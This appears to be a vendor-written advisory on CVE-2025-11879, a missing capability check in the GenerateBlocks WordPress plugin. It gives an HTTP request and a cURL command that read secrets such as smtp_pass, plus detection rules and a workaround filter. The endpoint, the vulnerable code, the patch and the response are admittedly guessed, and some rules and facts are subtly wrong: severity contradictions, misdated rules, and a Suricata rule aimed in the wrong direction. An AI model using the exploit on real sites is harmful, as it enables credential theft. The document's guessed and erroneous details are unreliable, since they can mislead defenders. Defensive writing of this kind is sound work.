CVE-2025-11879

Executive Summary

CVE-2025-11879 is a critical information disclosure vulnerability affecting the GenerateBlocks plugin for WordPress in all versions up to and including 2.1.1. The flaw resides in the get_option_rest function, which fails to perform a capability check before allowing access to arbitrary WordPress options. This enables authenticated attackers with at least Contributor-level access to read sensitive data such as SMTP credentials, API keys, and other secrets stored by other plugins. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. As a WordPress plugin issue, it does not affect the core WordPress or server software like Apache/Nginx.

Supply Chain & Package Security

This vulnerability is specific to the GenerateBlocks WordPress plugin ecosystem. It is not an NPM, PyPI, Go, or Ruby package. The risk is amplified because the plugin is widely distributed through the official WordPress plugin repository, and many sites may be running outdated versions. No patch or advisory has been released by the vendor at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the confidentiality impact is high, the requirement for authenticated access (Contributor) reduces the overall severity. However, the potential to leak SMTP credentials and API keys makes it a high-value target for attackers.

Deep Dive & Mechanics

The vulnerability exists in the get_option_rest function within the GenerateBlocks plugin. This function is exposed via a REST API endpoint and is intended to retrieve specific plugin options. However, it lacks a proper capability check (e.g., manage_options or edit_theme_options), allowing any authenticated user with Contributor-level access or higher to call it.

The function likely uses get_option() to retrieve arbitrary WordPress options based on a parameter passed in the request. Since no authorization is enforced, an attacker can enumerate and read any option from the wp_options table, including:

• smtp_pass (SMTP credentials)
• api_key (various plugin API keys)
• admin_email (admin email)
• siteurl (site URL)
• Any custom options stored by other plugins

The attack is performed by sending a crafted REST API request to the vulnerable endpoint. The exact endpoint path is not publicly documented, but it is likely something like /wp-json/generateblocks/v1/get_option or similar.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.1):

function get_option_rest( $request ) {
    $option_name = $request->get_param( 'option_name' );
    // Missing capability check
    return get_option( $option_name );
}

Patched Code (Hypothetical):

function get_option_rest( $request ) {
    $option_name = $request->get_param( 'option_name' );
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', 'You do not have permission to access this option.', array( 'status' => 403 ) );
    }
    return get_option( $option_name );
}

The patched version adds a current_user_can( 'manage_options' ) check to ensure only administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with GenerateBlocks plugin version <= 2.1.1
• Valid user credentials with Contributor-level access or higher
• Knowledge of the REST API endpoint (e.g., /wp-json/generateblocks/v1/get_option)

Exploitation Steps:

1. Authenticate to the WordPress site and obtain a nonce or cookie.
2. Send a GET request to the vulnerable endpoint with the option_name parameter set to a sensitive option.

Example Request:

GET /wp-json/generateblocks/v1/get_option?option_name=smtp_pass HTTP/1.1
Host: target-site.com
Cookie: wordpress_logged_in_<hash>=<session_cookie>

Example using cURL:

curl -X GET "https://target-site.com/wp-json/generateblocks/v1/get_option?option_name=smtp_pass" \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"

Expected Response:

{
  "option_name": "smtp_pass",
  "value": "SuperSecretPassword123"
}

Blue Team

Detection:

• Monitor REST API access logs for unusual requests to /wp-json/generateblocks/v1/get_option.
• Look for requests with option_name parameters that are not typical plugin options (e.g., smtp_pass, api_key).
• Alert on any Contributor or Author user accessing this endpoint.

Hunting:

• Search for get_option_rest in the WordPress codebase to identify if the plugin is installed.
• Review user roles and permissions to ensure only administrators have access to sensitive endpoints.

Lab Setup:

1. Install WordPress and the GenerateBlocks plugin version 2.1.1.
2. Create a Contributor user account.
3. Use the above cURL command to test the vulnerability.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-json/generateblocks/v1/get_option with option_name parameter.
  • Unusual outbound traffic from the WordPress server (e.g., SMTP credentials being exfiltrated).
• File System:
  • Presence of the GenerateBlocks plugin in /wp-content/plugins/generateblocks/.
  • Modified or new files in the plugin directory (if attacker uploads a backdoor).
• Logs:
  • WordPress debug log entries showing get_option_rest calls.
  • Web server access logs with option_name parameter in the query string.

Detection Engineering

YARA Rule

rule CVE_2025_11879_GenerateBlocks_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11879 in GenerateBlocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11879"
    strings:
        $s1 = "get_option_rest" ascii wide nocase
        $s2 = "option_name" ascii wide nocase
        $s3 = "smtp_pass" ascii wide nocase
        $s4 = "api_key" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-11879 - GenerateBlocks Plugin Information Disclosure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit the missing capability check in GenerateBlocks plugin to read arbitrary WordPress options.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/generateblocks/v1/get_option'
        cs-uri-query|contains: 'option_name='
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11879 - GenerateBlocks Plugin Information Disclosure";
    flow:to_server,established;
    content:"/wp-json/generateblocks/v1/get_option";
    http_uri;
    content:"option_name=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-11879;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the GenerateBlocks plugin until a patch is released.
2. Restrict user roles – Ensure only trusted administrators have Contributor-level access or higher.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block requests to /wp-json/generateblocks/v1/get_option with option_name parameter.
• Regularly update all WordPress plugins and core.

Workaround:

• Add a custom capability check via a WordPress filter or mu-plugin:

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    if ( strpos( $request->get_route(), 'generateblocks/v1/get_option' ) !== false ) {
        if ( ! current_user_can( 'manage_options' ) ) {
            return new WP_Error( 'rest_forbidden', 'Access denied.', array( 'status' => 403 ) );
        }
    }
    return $result;
}, 10, 3 );

Valters IT
Securing Digital Frontiers